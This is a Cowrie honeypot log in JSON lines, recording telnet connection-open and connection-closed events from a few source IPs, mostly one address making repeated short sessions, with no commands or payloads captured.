{"eventid":"cowrie.session.closed","duration":4.9630537033081055,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:33.492679Z","src_ip":"188.208.141.113","session":"187fa0952cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8748e467601","protocol":"telnet","message":"New connection: 162.55.233.176:48060 (159.203.135.109:23) [session: a8748e467601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:33.878313Z"}
{"eventid":"cowrie.session.closed","duration":33.1117422580719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:33.903426Z","src_ip":"162.55.233.176","session":"0ea5fde92995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49241280555725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:33.990068Z","src_ip":"162.55.233.176","session":"0ce369b86958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"f573c434c248","protocol":"telnet","message":"New connection: 162.55.233.176:48066 (159.203.135.109:23) [session: f573c434c248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:34.041612Z"}
{"eventid":"cowrie.session.closed","duration":33.31446671485901,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:34.300918Z","src_ip":"162.55.233.176","session":"afcd93ed5957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48076,"dst_ip":"159.203.135.109","dst_port":23,"session":"71160c08b5d6","protocol":"telnet","message":"New connection: 162.55.233.176:48076 (159.203.135.109:23) [session: 71160c08b5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:34.368797Z"}
{"eventid":"cowrie.session.closed","duration":31.156270503997803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:34.424906Z","src_ip":"162.55.233.176","session":"c32bff8ec81d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.167196989059448,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:34.944012Z","src_ip":"188.208.141.113","session":"08bf29ca2c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48084,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b3d6d97f66","protocol":"telnet","message":"New connection: 162.55.233.176:48084 (159.203.135.109:23) [session: a4b3d6d97f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.417867Z"}
{"eventid":"cowrie.session.closed","duration":34.89900350570679,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.432467Z","src_ip":"162.55.233.176","session":"0907025da15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.35172772407532,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.674365Z","src_ip":"206.189.32.23","session":"7d6bfa79d7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48090,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8ac9c6b1d73","protocol":"telnet","message":"New connection: 162.55.233.176:48090 (159.203.135.109:23) [session: e8ac9c6b1d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.679784Z"}
{"eventid":"cowrie.session.closed","duration":33.361154556274414,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.739494Z","src_ip":"162.55.233.176","session":"2fd7accc79de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63959741592407,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.799906Z","src_ip":"162.55.233.176","session":"129f14319483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113399744033813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.812469Z","src_ip":"162.55.233.176","session":"fcd575e40899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48104,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c268876f8ae","protocol":"telnet","message":"New connection: 162.55.233.176:48104 (159.203.135.109:23) [session: 1c268876f8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.840336Z"}
{"eventid":"cowrie.session.closed","duration":34.68490934371948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.954293Z","src_ip":"162.55.233.176","session":"81390dd83d3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120959758758545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.959138Z","src_ip":"162.55.233.176","session":"309cd5b43d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300151109695435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:35.979667Z","src_ip":"162.55.233.176","session":"4882b6f09ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48114,"dst_ip":"159.203.135.109","dst_port":23,"session":"df8341e27d15","protocol":"telnet","message":"New connection: 162.55.233.176:48114 (159.203.135.109:23) [session: df8341e27d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:36.351983Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48120,"dst_ip":"159.203.135.109","dst_port":23,"session":"6be3a298a070","protocol":"telnet","message":"New connection: 162.55.233.176:48120 (159.203.135.109:23) [session: 6be3a298a070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:36.869532Z"}
{"eventid":"cowrie.session.closed","duration":31.33849334716797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:36.960326Z","src_ip":"162.55.233.176","session":"68047a3bb270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48134,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4fe868e6923","protocol":"telnet","message":"New connection: 162.55.233.176:48134 (159.203.135.109:23) [session: c4fe868e6923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:37.078110Z"}
{"eventid":"cowrie.session.closed","duration":32.08780288696289,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:37.170021Z","src_ip":"162.55.233.176","session":"a18ba815d8ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48140,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb7a310dfe3","protocol":"telnet","message":"New connection: 162.55.233.176:48140 (159.203.135.109:23) [session: 0bb7a310dfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:37.371185Z"}
{"eventid":"cowrie.session.closed","duration":30.90874433517456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:37.417431Z","src_ip":"162.55.233.176","session":"58a3fbeebf79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.40690016746521,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:38.185849Z","src_ip":"162.55.233.176","session":"e4a438a01b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48152,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc9578697b43","protocol":"telnet","message":"New connection: 162.55.233.176:48152 (159.203.135.109:23) [session: cc9578697b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:38.863786Z"}
{"eventid":"cowrie.session.closed","duration":33.30789923667908,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:38.871565Z","src_ip":"162.55.233.176","session":"0cc8169977d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48168,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f779ab0deb","protocol":"telnet","message":"New connection: 162.55.233.176:48168 (159.203.135.109:23) [session: f0f779ab0deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.178837Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48182,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a22cace089b","protocol":"telnet","message":"New connection: 162.55.233.176:48182 (159.203.135.109:23) [session: 2a22cace089b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.186674Z"}
{"eventid":"cowrie.session.closed","duration":30.69751501083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.293351Z","src_ip":"162.55.233.176","session":"4d06d04cc07b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29951763153076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.297858Z","src_ip":"162.55.233.176","session":"2d4ca240fa79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96798062324524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.413223Z","src_ip":"162.55.233.176","session":"e6ee50e80f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48190,"dst_ip":"159.203.135.109","dst_port":23,"session":"0654813bbe41","protocol":"telnet","message":"New connection: 162.55.233.176:48190 (159.203.135.109:23) [session: 0654813bbe41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.430475Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48198,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a1cf7e8ca8","protocol":"telnet","message":"New connection: 162.55.233.176:48198 (159.203.135.109:23) [session: 43a1cf7e8ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.510945Z"}
{"eventid":"cowrie.session.closed","duration":33.68673229217529,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:39.862041Z","src_ip":"162.55.233.176","session":"1b59e2a8e2ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48206,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8b7d5ad185","protocol":"telnet","message":"New connection: 162.55.233.176:48206 (159.203.135.109:23) [session: 3a8b7d5ad185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:40.074296Z"}
{"eventid":"cowrie.session.closed","duration":38.77040767669678,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:40.165549Z","src_ip":"162.55.233.176","session":"23dd6a7fcad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89622473716736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:40.687120Z","src_ip":"162.55.233.176","session":"e1b1689ed2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48210,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64890f94267","protocol":"telnet","message":"New connection: 162.55.233.176:48210 (159.203.135.109:23) [session: a64890f94267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.047307Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57890,"dst_ip":"10.17.0.5","dst_port":23,"session":"6afd7e74c904","protocol":"telnet","message":"New connection: 188.208.141.113:57890 (10.17.0.5:23) [session: 6afd7e74c904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.271585Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48224,"dst_ip":"159.203.135.109","dst_port":23,"session":"b25b26e5ff6e","protocol":"telnet","message":"New connection: 162.55.233.176:48224 (159.203.135.109:23) [session: b25b26e5ff6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.280487Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47990,"dst_ip":"10.17.0.5","dst_port":23,"session":"a753d0622a8b","protocol":"telnet","message":"New connection: 206.189.32.23:47990 (10.17.0.5:23) [session: a753d0622a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.298425Z"}
{"eventid":"cowrie.session.closed","duration":36.3908212184906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.343808Z","src_ip":"162.55.233.176","session":"b7126d6c25ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48228,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e7368bf23b9","protocol":"telnet","message":"New connection: 162.55.233.176:48228 (159.203.135.109:23) [session: 9e7368bf23b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.409845Z"}
{"eventid":"cowrie.session.closed","duration":38.01180982589722,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.505299Z","src_ip":"162.55.233.176","session":"fdfe58bf517e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92123603820801,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.774070Z","src_ip":"162.55.233.176","session":"ce0b5d13d385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.790339946746826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.778860Z","src_ip":"162.55.233.176","session":"0755e9893101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38784670829773,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:41.929900Z","src_ip":"162.55.233.176","session":"44ec0b976269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50982,"dst_ip":"10.17.0.5","dst_port":23,"session":"375d659e07d0","protocol":"telnet","message":"New connection: 206.189.32.23:50982 (10.17.0.5:23) [session: 375d659e07d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:42.407750Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48238,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c82761cdfd","protocol":"telnet","message":"New connection: 162.55.233.176:48238 (159.203.135.109:23) [session: 71c82761cdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:42.575869Z"}
{"eventid":"cowrie.session.closed","duration":38.93966746330261,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:42.617874Z","src_ip":"162.55.233.176","session":"ce8a3a157ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4450798034667969,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:42.716569Z","src_ip":"188.208.141.113","session":"6afd7e74c904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.526835441589355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:42.750522Z","src_ip":"162.55.233.176","session":"cdfe73fa9c34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35412,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9e4b50b205","protocol":"telnet","message":"New connection: 162.55.233.176:35412 (159.203.135.109:23) [session: af9e4b50b205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:42.946848Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35422,"dst_ip":"159.203.135.109","dst_port":23,"session":"b57e28ce4595","protocol":"telnet","message":"New connection: 162.55.233.176:35422 (159.203.135.109:23) [session: b57e28ce4595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.170427Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b84ebba20ad","protocol":"telnet","message":"New connection: 162.55.233.176:35424 (159.203.135.109:23) [session: 2b84ebba20ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.174866Z"}
{"eventid":"cowrie.session.closed","duration":39.449583292007446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.285120Z","src_ip":"162.55.233.176","session":"8209ecda5095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.582843542099,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.566722Z","src_ip":"162.55.233.176","session":"9c630af996ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35426,"dst_ip":"159.203.135.109","dst_port":23,"session":"442538dee22e","protocol":"telnet","message":"New connection: 162.55.233.176:35426 (159.203.135.109:23) [session: 442538dee22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.612844Z"}
{"eventid":"cowrie.session.closed","duration":36.76660656929016,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.658663Z","src_ip":"162.55.233.176","session":"f5398aa0cd2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.50090837478638,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.724761Z","src_ip":"162.55.233.176","session":"7249e948e1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.650167465209961,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.948505Z","src_ip":"206.189.32.23","session":"a753d0622a8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.794138193130493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:43.991235Z","src_ip":"162.55.233.176","session":"4c8d6f830e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07862615585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.087059Z","src_ip":"162.55.233.176","session":"aaf89663179d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35434,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c087614c63f","protocol":"telnet","message":"New connection: 162.55.233.176:35434 (159.203.135.109:23) [session: 9c087614c63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.133735Z"}
{"eventid":"cowrie.session.closed","duration":33.23273801803589,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.321589Z","src_ip":"162.55.233.176","session":"1627652a8702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698140382766724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.403606Z","src_ip":"162.55.233.176","session":"fc2f618a9a13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329190015792847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.622192Z","src_ip":"162.55.233.176","session":"c47b2fa9e2df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94350576400757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.625691Z","src_ip":"162.55.233.176","session":"e8bec87ce909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526806831359863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.633520Z","src_ip":"162.55.233.176","session":"13c98cbb8444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.771286725997925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.639571Z","src_ip":"162.55.233.176","session":"ce6736767696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.776437282562256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.754510Z","src_ip":"162.55.233.176","session":"4c27bb9e79bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6469464302063,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.881226Z","src_ip":"162.55.233.176","session":"a269ab9e54f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.654892444610596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.942084Z","src_ip":"162.55.233.176","session":"c22da3fa6cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25481343269348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:44.948201Z","src_ip":"162.55.233.176","session":"12288ec3d4d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35438,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a1ec8c509c","protocol":"telnet","message":"New connection: 162.55.233.176:35438 (159.203.135.109:23) [session: e9a1ec8c509c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.047805Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e975e3b29b30","protocol":"telnet","message":"New connection: 162.55.233.176:35448 (159.203.135.109:23) [session: e975e3b29b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.065584Z"}
{"eventid":"cowrie.session.closed","duration":34.79496192932129,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.126944Z","src_ip":"162.55.233.176","session":"94d86d52a09d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.452401876449585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.211092Z","src_ip":"162.55.233.176","session":"b190ae29b2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35462,"dst_ip":"159.203.135.109","dst_port":23,"session":"73a7faad9475","protocol":"telnet","message":"New connection: 162.55.233.176:35462 (159.203.135.109:23) [session: 73a7faad9475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.481333Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35478,"dst_ip":"159.203.135.109","dst_port":23,"session":"3305060a2953","protocol":"telnet","message":"New connection: 162.55.233.176:35478 (159.203.135.109:23) [session: 3305060a2953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.520410Z"}
